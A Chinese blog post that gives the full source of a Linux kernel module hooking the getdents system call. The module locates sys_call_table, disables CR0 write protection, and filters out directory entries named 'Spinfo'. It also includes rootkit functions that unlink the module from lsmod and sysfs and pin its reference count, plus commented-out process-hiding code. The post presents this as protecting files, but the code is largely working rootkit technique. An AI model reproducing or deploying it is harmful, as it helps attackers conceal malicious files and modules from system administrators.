您的位置:首页 > 运维架构 > Linux

Linux隐藏文件

2016-03-14 15:41 441 查看
在信息安全中,保护指定的文件不让用户看到,尤为重要,实现方式:劫持系统调用

系统信息:内核为2.6.32, CentOSX86_64

示例程序如下:

#include <linux/kernel.h>
#include <linux/module.h>
#include <linux/moduleparam.h>
#include <linux/list.h>
#include <linux/init.h>
#include <linux/sched.h>
#include <asm/unistd.h>
#include <linux/dirent.h>
#include <linux/stat.h>
#include <linux/fs.h>
#include <linux/proc_fs.h>
#include <asm/uaccess.h>
#define CALLOFF 100

//define idtr and idt struct

char psname[10] = "hello";
char *processname = psname;

static char *mod_name = "hook";
module_param(mod_name, charp, 0);

struct{
unsigned short limit;
unsigned int base;
}__attribute__((packed))idtr;

struct{
unsigned short off_low;
unsigned short sel;
unsigned char none;
unsigned char flags;
unsigned short off_high;
}__attribute__((packed))*idt;

struct _idt
{
unsigned short offset_low,segment_sel;
unsigned char reserved,flags;
unsigned short offset_high;
};

/*unsigned long *getscTable()
{
unsigned char idtr[6] = {0}, *shell = NULL, *sort = NULL;
struct _idt *idtLong = NULL;
unsigned long system_call = 0, sct = 0;
unsigned short offset_low = 0, offset_high = 0;
char *p = NULL;
int i = 0;

__asm__("sidt %0" : "=m" (idtr));

idtLong=(struct _idt*)(*(unsigned long*)&idtr[2]+8*0x80);
offset_low = idtLong->offset_low;
offset_high = idtLong->offset_high;
system_call = (offset_high<<16)|offset_low;

shell=(char *)system_call;
sort="\xff\x14\x85";

for(i=0;i<(100-2);i++)
{
if(shell[i] == sort[0] && shell[i+1] == sort[1] && shell[i+2] == sort[2])
{
break;
}
}

p = &shell[i];
p += 3;

sct=*(unsigned long*)p;
return (unsigned long*)(sct);
}*/

//define function, Point to the system being hijacked

struct linux_dirent
{
unsigned long     d_ino;
unsigned long     d_off;
unsigned short    d_reclen;
char    d_name[1];
};

asmlinkage long (*orig_getdents)(unsigned int fd, struct linux_dirent __user *dirp, unsigned int count);

//int orig_cr0 = 0;
unsigned long *sys_call_table = NULL;

//get function system_call addr

/*void* get_system_call(void)
{
printk(KERN_ALERT "start get_system_call...\n");
void * addr = NULL;
asm("sidt %0":"=m"(idtr));
idt = (void*) ((unsigned long*)idtr.base);
addr = (void*) (((unsigned int)idt[0x80].off_low) | (((unsigned int)idt[0x80].off_high)<<16 ));
return addr;
}*/

//find sys_call_table

char* findoffset(char *start)
{
printk(KERN_ALERT "start findoffset...\n");
char *p = NULL;
int i = 0;
/*for(p=start; p < start + CALLOFF; p++)
{
if(*(p+0) == '\xff' && *(p+1) == '\x14' && *(p+2) == '\x85')
{
return p;
}
}*/

p = start;
for(i=0;i<(100-2);i++,p++)
{
if(*(p+0) == '\xff' && *(p+1) == '\x14' && *(p+2) == '\xc5')
{
printk(KERN_ALERT "p: 0x%x\n",p);
return p;
}
}
return NULL;
}

//get sys_call_table addr

/*void** get_system_call_addr(void)
{
printk(KERN_ALERT "start get_system_call_addr.../n");
unsigned long sct = 0;
char *p = NULL;
unsigned long addr = (unsigned long)get_system_call();
if((p=findoffset((char*) addr)))
{
sct = *(unsigned long*)(p + 3);
printk(KERN_ALERT "find sys_call_addr: 0x%x\n", (unsigned int)sct);
}
return ((void**)sct);
}*/

//clear and return cr0

unsigned int clear_and_return_cr0(void)
{
printk(KERN_ALERT "start clear_and_return_cr0...\n");
unsigned int cr0 = 0;
unsigned int ret = 0;

asm volatile ("movq %%cr0, %%rax":"=a"(cr0));

ret = cr0;

cr0 &= 0xfffffffffffeffff;

asm volatile ("movq %%rax, %%cr0"
:
:"a"(cr0)
);

return ret;
}

//ser cr0

void setback_cr0(unsigned int val)
{
printk(KERN_ALERT "start setback_cr0...\n");

asm volatile ("movq %%rax, %%cr0"
:
:"a"(val)
);
}

//char* to int

/*int atoi(char *str)
{
int res = 0;
int mul = 1;
char *ptr = NULL;
for(ptr = str + strlen(str)-1; ptr >= str; ptr--)
{
if(*ptr < '0' || *ptr > '9')
{
return -1;
}
res += (*ptr - '0') * mul;
mul *= 10;
}
return res;
}*/

//check if process whose pid equals 'pid' is set to hidden

/*int ishidden(pid_t pid)
{
if(pid < 0)
{
return 0;
}
struct task_struct * task = NULL;
task = find_task_by_pid(pid);
printk(KERN_ALERT "pid:%d,hide:%d/n", pid, task->hide);
if(NULL != task && 1 == task->hide)
{
return 1;
}
return 0;
}*/

int myatoi(char *str)
{
int res = 0;
int mul = 1;
char *ptr = NULL;

for (ptr = str + strlen(str) - 1; ptr >= str; ptr--)
{
if (*ptr < '0' || *ptr > '9')
{
return -1;
}
res += (*ptr - '0') * mul;
mul *= 10;
}
if(res>0 && res< 9999)
{
printk(KERN_INFO "pid = %d\n",res);
}
return res;
}

struct task_struct *get_task(pid_t pid)
{
struct task_struct *p = get_current(),*entry = NULL;
list_for_each_entry(entry,&(p->tasks),tasks)
{
if(entry->pid == pid)
{
printk("pid found = %d\n",entry->pid);
return entry;
}
else
{
//printk(KERN_INFO "pid = %d not found\n",pid);
}
}
return NULL;
}

static inline char *get_name(struct task_struct *p, char *buf)
{
int i = 0;
char *name = NULL;
name = p->comm;
i = sizeof(p->comm);
do
{
unsigned char c = *name;
name++;
i--;
*buf = c;
if(!c)
{
break;
}
if('\\' == c)
{
buf[1] = c;
buf += 2;
continue;
}
if('\n' == c)
{
buf[0] = '\\';
buf[1] = 'n';
buf += 2;
continue;
}
buf++;
}while(i);

*buf = '\n';
return buf + 1;
}

int get_process(pid_t pid)
{
struct task_struct *task = get_task(pid);
char buffer[64] = {0};
if(task)
{
get_name(task, buffer);
//if(pid > 0 && pid < 9999)
//{
//printk(KERN_INFO "task name = %s\n",*buffer);
//}
if(strstr(buffer,processname))
{
printk(KERN_INFO "task name = %s\n", buffer);
return 1;
}
else
{
return 0;
}
}
return 0;
}

//the hacked sys_getdents64

asmlinkage long hacked_getdents(unsigned int fd, struct linux_dirent __user *dirp, unsigned int count)
{
/*long value = 0;
unsigned short len = 0;
unsigned short tlen = 0;

printk(KERN_ALERT "hidden get dents/n");

struct kstat fbuf;
vfs_fstat(fd, &fbuf);//get file info
printk(KERN_ALERT "ino:%d, proc:%d,major:%d,minor:%d\n", fbuf.ino, PROC_ROOT_INO, MAJOR(fbuf.dev), MINOR(fbuf.dev));

if(orig_getdents != NULL)
{
value = (*orig_getdents)(fd, dirp, count);
//if the file is in /proc
if(fbuf.ino == PROC_ROOT_INO && !MAJOR(fbuf.dev) && MINOR(fbuf.dev) == 3)
{
printk(KERN_ALERT "this is proc\n");
}
}
else
{
printk(KERN_ALERT "orig_getdents is null\n");
}
return value;*/

//add by liangz 2016-03-14
struct linux_dirent* dirp2 = NULL, *dirp3 = NULL, *head = NULL , *prev = NULL;
long recordLength = 0, modifyBufLength = 0;

long value = 0;
unsigned short len = 0;
unsigned short tlen = 0;

printk(KERN_ALERT "start call orig_getdents...\n");

value = (*orig_getdents) (fd, dirp, count);

//add by liangz 2016-03-14
dirp2 = (struct linux_dirent*)kmalloc(value, GFP_KERNEL);
if(!dirp2)
{
return value;
}
if(copy_from_user(dirp2, dirp, value))
{
printk(KERN_ALERT "fail to copy dirp to dirp2...\n");
return value;
}
head = dirp2;
dirp3 = dirp2;
modifyBufLength = value;
while (((unsigned long )dirp3) <(((unsigned long) dirp2)+ value))
{
recordLength = dirp3->d_reclen;
if ( recordLength == 0)
{
break;
}
if (strncmp(dirp3->d_name, "Spinfo", 6) ==0)
{
printk("d_name = %s\n", dirp3->d_name);
if (!prev)
{
head = (struct linux_dirent*)((char *) dirp3 + recordLength);
modifyBufLength -= recordLength;
}
else
{
prev->d_reclen += recordLength;
memset(dirp3, 0, recordLength );
}
}
else
{
prev= dirp3;
}
dirp3 = (struct linux_dirent*)((char *) dirp3+ recordLength);
}
copy_to_user (dirp, head, modifyBufLength);
kfree(dirp2);
return modifyBufLength;

printk(KERN_ALERT "end call orig_getdents...\n");

//tlen = value;
//list dir table
/*while(0 < tlen)
{
len = dirp->d_reclen;
tlen = tlen - len;

if(0 == strcmp("spinfo", dirp->d_name))
{
printk("d_name = %s\n", dirp->d_name);
memmove(dirp, (char *) dirp + dirp->d_reclen, tlen);
value = value - len;
printk(KERN_INFO "hide file successful...\n");
}

if(get_process(myatoi(dirp->d_name)))
{
printk("find process...\n");
memmove(dirp, (char *) dirp + dirp->d_reclen, tlen);
value = value - len;
printk(KERN_INFO "hide process successful...\n");
}
if(tlen)
{
dirp = (struct linux_dirent *) ((char *)dirp + dirp->d_reclen);
}
}
printk(KERN_INFO "finished hacked_getdents...\n");
return value;*/
}

static void *memmem(const void *haystack, size_t haystack_len, const void *needle, size_t needle_len)
{
const char *begin = NULL;
const char *const last_possible = (const char *) haystack + haystack_len - needle_len;
if (needle_len == 0)
{
printk(KERN_ALERT "needle_len == 0\n");
return (void*)haystack;
}

if (__builtin_expect(haystack_len < needle_len, 0))
{
return NULL;
}

for (begin = (const char *) haystack; begin <= last_possible; ++begin)
{
if (begin[0] == ((const char *) needle)[0]
&& !memcmp((const void *) &begin[1],
(const void *) ((const char *) needle + 1),
needle_len - 1))
{
return (void*) begin;
}
}
return NULL;
}

static unsigned long get_sct_addr(void)
{
#define OFFSET_SYSCALL 200

unsigned long syscall_long, retval;
char sc_asm[OFFSET_SYSCALL] = {0};

rdmsrl(MSR_LSTAR, syscall_long);
memcpy(sc_asm, (char *)syscall_long, OFFSET_SYSCALL);

retval = (unsigned long) memmem(sc_asm, OFFSET_SYSCALL, "\xff\x14\xc5", 3);

if ( retval != 0 )
{
retval = (unsigned long) ( * (unsigned long *)(retval+3) );
}
else
{
printk("long mode : memmem found nothing, returning NULL");
retval = 0;
}
#undef OFFSET_SYSCALL
return retval;
//unsigned sys_call_off = 0;
/*void *sys_call_off = NULL;
unsigned sct = 0;
char *p = NULL;

unsigned char idtrT[6] = {0}, *shell = NULL, *sort = NULL;
struct _idt *idtT;
unsigned long system_call = 0;// sct = 0;

asm("sidt %0":"=m"(idtrT));
//idt = (void *) (idtr.base + 8 * 0x80);
printk(KERN_ALERT "=== 1 ===\n");
//idt = (void*) ((unsigned long*)idtr.base);
idtT = (struct _idt*)(*(unsigned long*)&idtrT[2]+8*0x80);
//idt = (struct _idt*)
//sys_call_off = (idt->off_high << 16) | idt->off_low;
printk(KERN_ALERT "=== 2 ===\n");
//sys_call_off = (void*) (((unsigned int)idt[0x80].off_low) | (((unsigned int)idt[0x80].off_high)<<16 ));
system_call = (idtT->offset_high<<16) | idtT->offset_low;

printk(KERN_ALERT "=== 3 ===\n");

if ((p = findoffset((char *) system_call)))
{
sct = *(unsigned *) (p + 3);
}
else
{
printk(KERN_ALERT " findoffset fail...\n");
}
return ((void **)sct);*/
}

int hideModule(void)
{
/*struct module *mod_head = NULL, *mod_counter = NULL;
struct list_head *p = NULL;
mod_head = &__this_module;
list_for_each(p, &mod_head->list)
{
mod_counter = list_entry(p, struct module, list);
printk(KERN_ALERT "mod name = %s\n", mod_counter->name);
if(strcmp(mod_counter->name, mod_name) == 0)
{
list_del(p);
printk(KERN_ALERT "remove module %s successfully.\n", mod_name);
return 0;
}
}
printk("Can't find module %s.\n", mod_name);
return -1;*/

list_del(&THIS_MODULE->list);//lsmod,/proc/modules
kobject_del(&THIS_MODULE->mkobj.kobj);// /sys/modules
list_del(&THIS_MODULE->mkobj.kobj.entry);// kobj struct list_head entry

return 0;
}

static inline void rootkit_protect(void)
{
try_module_get(THIS_MODULE);// count++
//module_put(THIS_MODULE);//count--
}

static int __init hook_init(void)
{
printk(KERN_ALERT"[insmod module] name:%s state:%d refcnt:%u \n",THIS_MODULE->name,THIS_MODULE->state,module_refcount(THIS_MODULE));

//rootkit_protect();

printk(KERN_ALERT"[insmod module] name:%s state:%d refcnt:%u \n",THIS_MODULE->name,THIS_MODULE->state,module_refcount(THIS_MODULE));

/*int retHide = 0;
retHide = hideModule();
if(0 == retHide)
{
printk(KERN_ALERT "hide module success...\n");
}*/
/*if(0 == THIS_MODULE->state)
{
THIS_MODULE->state = 1;
}*/

printk(KERN_ALERT "start hook_init\n");
unsigned long orig_cr0 = 0;//clear_and_return_cr0();

sys_call_table = (unsigned long*)get_sct_addr();
sys_call_table = (unsigned long)sys_call_table | 0xffffffff00000000;

if(!sys_call_table)
{
printk(KERN_ALERT "=== get_sct_addr fail ===\n");
return -EFAULT;
}
else if(sys_call_table[__NR_getdents] != hacked_getdents)
{
printk(KERN_ALERT "start __NR_getdents64 ...\n");
//printk(KERN_ALERT "sct:0x%x\n", (unsigned long)sys_call_table);
printk(KERN_ALERT "sct:0x%x,hacked_getdents:0x%x\n", (unsigned long)sys_call_table[__NR_getdents],(unsigned long)hacked_getdents);

orig_cr0 = clear_and_return_cr0();
orig_getdents = sys_call_table[__NR_getdents];
printk(KERN_ALERT "old:0x%x, new:0x%x\n",(unsigned long) orig_getdents, (unsigned long)hacked_getdents);
printk(KERN_ALERT "end __NR_getdents64 ...\n");

if(hacked_getdents != NULL)
{
printk(KERN_ALERT "call hacked_getdents...\n");

sys_call_table[__NR_getdents] = hacked_getdents;
}

setback_cr0(orig_cr0);

printk(KERN_INFO "hideps: module loaded.\n");
/*printk(KERN_ALERT"[insmod module] name:%s state:%d\n",THIS_MODULE->name,THIS_MODULE->state);
if(0 == THIS_MODULE->state)
{
THIS_MODULE->state = 1;
}*/
return 0;
}
else
{
printk(KERN_ALERT "system_call_table_long[__NR_getdents64] == hacked_getdents\n");
return -EFAULT;
}
}

static int __exit unhook_exit(void)
{
printk(KERN_ALERT "start unhook_exit\n");
unsigned long orig_cr0 = clear_and_return_cr0();

if(sys_call_table)
{
sys_call_table[__NR_getdents] = orig_getdents;

setback_cr0(orig_cr0);

printk(KERN_ALERT "unhook_exit success...\n");
return 0;
}
printk(KERN_ALERT "unhook_exit fail...\n");
return -EFAULT;
}

MODULE_AUTHOR("zhao liang. Halcrow <mhalcrow@us.ibm.com>");
MODULE_DESCRIPTION("hook hide process");
MODULE_LICENSE("GPL");

module_init(hook_init)
module_exit(unhook_exit)
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签: